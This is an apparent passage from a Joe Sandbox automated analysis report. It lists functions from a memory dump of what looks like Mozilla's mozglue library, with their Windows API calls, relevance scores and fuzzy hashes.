Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5F27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F289A
free.MOZGLUE(?,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F2910
free.MOZGLUE(00000001,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C5F2620,?,?,?,6C5E60AA,6C5E5FCB,6C5E79A3), ref: 6C5F294E

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction ID: bf0f97ffe9af2523b645ed8506169aaf78dee140e16a178df6ecb71f315f4a7b
Opcode Fuzzy Hash: 39b6e0d21959ac167e5e3317abc02efbb818fc20b63dd661400bcb23b5c6e287
Instruction Fuzzy Hash: 7941CEF1A002468BEB18CF68DC8436A77F6AB45308F244929D566EB740E731E946CF92

Function 6C5ACFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5AD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5AD139

Strings

MOZ_CRASH(), xrefs: 6C5AD187

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction ID: 369405952f0bc1f4f4d222e6460ad6f6a41bac1ebe5f3cc108a06a2e287e30c3
Opcode Fuzzy Hash: fb1ffff83bfbbcc5f712bc33c2c299924607b696e3d303a1ba67092d246f8d28
Instruction Fuzzy Hash: 7241AE31B402168FDB04DEBE8CD03AE76A4EB49750F140139EE58E7784E7A998018BC9

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C60A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62F770), ref: 6C60A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A87B

Part of subcall function 6C60A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C60A88F,00000000), ref: 6C60A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C60A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C60A90C
LeaveCriticalSection.KERNEL32(6C62F770), ref: 6C60A97E

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction ID: e8bf8b976c3cfef6700ccf7d4327f7eafff02a508b5e6acea714a64f3b2707c6
Opcode Fuzzy Hash: 82e28331352b0734d5f40718667da04247821cb7637916a37d30a54ab5b82e22
Instruction Fuzzy Hash: B241B2B0E006049FDB04DFA8D885BDEB770FF05324F108629E826AB791D7359945CB99

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C5AB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5AB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5AB849

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction ID: 44f6ea9aa3b6b0ed744e977f3b043ce96f4f9c6e6e11de465efe0d2389698f9c
Opcode Fuzzy Hash: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction Fuzzy Hash: 7B212BB0E002099FDF04DFAAC8855BEBBB4EF49214F148129E946A7341E735A945CBE5

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9
: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C605850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C60586C
CloseHandle.KERNEL32 ref: 6C605878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C605898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6058C9
free.MOZGLUE(00000000), ref: 6C6058D3

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction ID: a91781077a846e528fc7ac4c51e302180126b6901843f745e1d058c11bf6d16c
Opcode Fuzzy Hash: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction Fuzzy Hash: CB014F717041219BDF00DF17D9886467BB8FBA3329F244276E91AF2210D73998158F8F

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.2511291629.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2511263770.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511362549.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511396267.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2511436382.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

